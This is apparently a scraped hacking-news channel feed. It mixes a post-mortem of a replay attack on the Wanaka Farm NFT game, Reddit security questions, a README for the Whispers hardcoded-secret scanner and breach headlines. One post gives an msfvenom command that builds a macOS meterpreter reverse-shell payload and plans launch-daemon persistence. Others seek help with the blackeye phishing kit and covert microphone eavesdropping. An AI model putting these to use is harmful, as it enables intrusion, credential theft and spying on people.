https://external-preview.redd.it/R9iuTX_UmgpLGsI5GoicTlAASRtUVo9E3NGabgbz760.jpg?width=640&crop=smart&auto=webp&s=d5b4cbcdf53d754e34389ccdf8b566c94dcaafca Original article in Vietnamese

NFT is becoming a hot trend in this DeFi world with the major success of Axie Infinity and many other NFT games. Verichains Lab has audited many NFT games, and the team is actively observing the GameFi market.

Wanaka Farm is a farm game with high user expectations. However, during alpha and beta testing, users have reported many critical bugs in-game related to withdrawing and depositing crypto. Below is an analysis done by Verichains Lab and BShield, a security startup for mobile systems' apps, about an attack targeting Wanaka Farm that allowed the hacker to steal over a million USD.

TLDR

The hacker abused the delay while transactions were being confirmed in the blockchain to perform a replay attack on the backend API. Those actions led to the backend API calling smart contract multiple times. The attacker had used this bug to steal more than $500,000 in just a few hours.

Wanaka Farm was officially released on 29th October 2021. The release happened just after reports about withdrawing/depositing funds came in, which led to a maintenance announcement. After two days, they announced that the bug was fixed.

​

https://preview.redd.it/mxi6tf57qd181.png?width=746&format=png&auto=webp&s=cea7f603fc094d1fe51b881925f0dd6ba5b1fd98

Then the developers announced an extended maintenance that lasted for weeks but kept the marketplace open.

​

https://preview.redd.it/ldzy1o3ord181.png?width=711&format=png&auto=webp&s=6fb69b5d227e1e4dab66dbb0162246f2a2fec204

However, on 11th November, the hacker abused the same bug again to pocket over $400,000. After we inspected the transaction, we found out that they created 500 addresses (to retrieve funds) to exploit that bug.

Link of this transaction: https://bscscan.com/tx/0x9bd6611c36ee393d0a3fad938911c2b91db743f3851e392e2d22c89421bcf7b2

What did the hacker do?

1. They've created 500 crypto retrieving addresses and distributed 1.188 BNB equally on all of those addresses, and each would get about 0.02 BNB. Then, they sent WANA tokens to one of the addresses (can be any).
2. On that same address, they deposited WANA into contract 0x164664fcf89f3b722bcba6f02f2c9e3b9081c2a1. After doing that, they withdrew 5-7 times. The token amount then experienced a boom that increased the amount by 5-7 times, although the hacker only deposited once.
3. Send the original token amount to another retrieving address, and send the amount collected through the deposit bug to the main wa[...]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is the encryption method I thought good?

I am not even a hacker. I am just a programmer who loves reading about hacking and security in general. Recently, I thought of this encryption method, I know I am probably missing something otherwise company would be using it.

So you know how a company's data is breached and passwords are leaked. Hackers were able to crack passwords because they were simple and they had found the hash.

What if all the company let's say add a 20 digit alphanumeric string after a password *before* encrypting it. While decryption, just remove last 20 digits.

submitted by /u/MeIsYguy
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is it possible to break into a locked phone without deleting its data?

Say my phone is stolen, is it possible for a thief to get into my phone and read my messages and notes etc..? Just a regular thief/hacker with a regular pc/laptop (not a state level professional)

Would like to know for both androind and iPhones

submitted by /u/guykehat
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Mac OS reverse shell terminal application always open?

So I created a OS X/x64/meterpreter/reverse_tcp msfvenom payload using

Msfvenom -p “payload” lhost lport -f macho > macho.out

I got it on my Mac and had to use chmod +x “payload” to make it runnable and when I run it everything works but the terminal window I used to run it is open and you can’t close Terminal anyway around this. Also I plan on making a launch daemon for it will the terminal window be open when it runs as well?

submitted by /u/alotofquestionsforyk
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Zero-day affecting Windows 11, Windows 10, and Windows Server lets anyone gain administrator privileges

https://external-preview.redd.it/8Dy7jLLK0NAKeGXJjsWTAilOSzg0EAwVqgqPL_AA684.jpg?width=640&crop=smart&auto=webp&s=e467d3d37c00208901a29dc6668cfde9b6d7cf7a submitted by /u/fatrat957
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Having trouble with blackeye

Ive done everything correctly, however its blank next to where the link is supposed to be.

Im pretty sure I have ngrok installed correctly, as well as php.

Im using ubuntu and I am very new to this.

submitted by /u/GhostxKitten
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Microphone?

So I don't even know if this is the right place to ask this but how would one have his mic on his phone on and listen to what it takes up in a pair of wireless headphones while the phone is in another room?

I understand if I can't get an answer as I might do things I'm not allowed to do but would appreciate an answer of some kind at least.

submitted by /u/PacEffect
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Whispers - Identify Hardcoded Secrets In Static Structured Text
http://www.kitploit.com/2021/11/whispers-identify-hardcoded-secrets-in.html

___________________________
@hacking_Attack
@Hacking_Video

"My little birds are everywhere, even in the North, they whisper to me the strangest stories." - Lord VarysWhispers is a static code analysis (https://www.kitploit.com/search/label/Static%20Code%20Analysis) tool designed for parsing various common data formats in search of hardcoded credentials (https://www.kitploit.com/search/label/Hardcoded%20Credentials) and dangerous functions. Whispers can run in the CLI or you can integrate it in your CI/CD pipeline.
Detects
PasswordsAPI tokensAWS keysPrivate keysHashed credentialsAuthentication tokensDangerous functionsSensitive files
Supported Formats
Whispers is intended to be a structured text parser, not a code parser.The following commonly used formats are currently supported:YAMLJSONXML.npmrc.pypirc.htpasswd.propertiespip.confconf / iniDockerfileDockercfgShell scriptsPython3Python3 files are parsed as ASTs because of native language support.
Declaration & Assignment Formats
The following language files are parsed as text, and checked for common variable declaration and assignment patterns:JavaScriptJavaGoPHP
Special Formats
AWS credentials (https://www.kitploit.com/search/label/Credentials) filesJDBC connection stringsJenkins config filesSpringFramework Beans config filesJava Properties filesDockercfg private registry auth filesGithub tokens
Installation

From PyPI
pip3 install whispers

From GitHub
git clone https://github.com/Skyscanner/whispers
cd whispers
make install

Usage

CLI
whispers --help
whispers --info
whispers source/code/fileOrDir
whispers --config config.yml source/code/fileOrDir
whispers --output /tmp/secrets.yml source/code/fileOrDir
whispers --rules aws-id,aws-secret source/code/fileOrDir
whispers --severity BLOCKER,CRITICAL source/code/fileOrDir
whispers --exitcode 7 source/code/fileOrDir

Python
from whispers.cli import parse_args
from whispers.core import run

src = "tests/fixtures"
configfile = "whispers/config.yml"
args = parse_args(["-c", configfile, src])
for secret in run(args):
print(secret)
Config
There are several configuration options available in Whispers. It’s possible to include/exclude results based on file path, key, or value. File path specifications are interpreted as globs. Keys and values accept regular expressions (https://www.kitploit.com/search/label/Regular%20Expressions) and several other parameters. There is a default configuration file built-in that will be used if you don't provide a custom one.config.yml should have the following structure:include:
files:
- "**/*.yml"

exclude:
files:
- "**/test/**/*"
- "**/tests/**/*"
keys:
- ^foo
values:
- bar$

rules:
starks:
message: Whispers from the North
severity: CRITICAL
value:
regex: (Aria|Ned) Stark
ignorecase: TrueThe fastest way to tweak detection (ie: remove false positives and unwanted results) is to copy the default config.yml (https://github.com/Skyscanner/whispers/blob/master/whispers/config.yml) into a new file, adapt it, and pass it as an argument to Whispers.whispers --config config.yml --rules starks src/file/or/dir
Custom Rules
Rules specify the actual things that should be pulled out from key-value pairs. There are several common ones that come built-in, such as AWS keys and passwords, but the tool is made to be easily expandable with new rules.Custom rules can be defined in the main config file under rules:Custom rules can be added to whispers/rules (https://github.com/Skyscanner/whispers/blob/master/whispers/rules)rule-id: # unique rule name
description: Values formatted like AWS Session Token
message: AWS Session Token # report will show this message
severity: BLOCKER # one of BLOCKER, CRITICAL, MAJOR, MINOR, INFO

key: # specify key format
regex: (aws.?session.?token)?
ignorecase: True # case-insensitive matching

value: # specify value format
regex: ^(?=.*[a-z])(?=.*[A-Z])[A-Za-z0-9\+\/]{270,450}$
ignorecase: False # case-sensitive matching

___________________________
@hacking_Attack
@Hacking_Video

minlen: 270 # value is at least this long
isBase64: True # value is base64-encoded
isAscii: False # value is binary data when decoded
isUri: False # value is not formatted like a URI

similar: 0.35 # maximum allowed similarity between key and value
# (1.0 being exactly the same)
Plugins
All parsing functionality is implemented via plugins. Each plugin implements a class with the pairs() method that runs through files and returns the key-value pairs to be checked with rules.class PluginName:
def pairs(self, file):
yield "key", "value"

Download Whispers (https://github.com/Skyscanner/whispers)

___________________________
@hacking_Attack
@Hacking_Video

Is there more money in mobile application pentesting?
https://www.reddit.com/r/Pentesting/comments/r0kzuo/is_there_more_money_in_mobile_application/

submitted by /u/Solid_Secret594 (https://www.reddit.com/user/Solid_Secret594)
[link] (https://www.reddit.com/r/Pentesting/comments/r0kzuo/is_there_more_money_in_mobile_application/) [comments] (https://www.reddit.com/r/Pentesting/comments/r0kzuo/is_there_more_money_in_mobile_application/)

___________________________
@hacking_Attack
@Hacking_Video

Nmap nedir?Nasıl kullanılır?
https://mirabbasagalarov.medium.com/nmap-nedir-nas%C4%B1l-kullan%C4%B1l%C4%B1r-9fb43e9a5e09?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Nmap nedir?Continue reading on Medium » (https://mirabbasagalarov.medium.com/nmap-nedir-nas%C4%B1l-kullan%C4%B1l%C4%B1r-9fb43e9a5e09?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Whispers - Identify Hardcoded Secrets In Static Structured Text

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Holiday Scams Drive SMS Phishing Attacks

Attackers typically target consumers with malicious text messages containing obfuscated links, but experts say businesses are threatened as well.

Dark Reading: Attacks/Breaches
Apple Sues NSO Group for Spyware Use

The company seeks to hold Israeli firm NSO Group liable for the targeting of Apple users and requests a permanent injunction to ban its use of Apple products and services.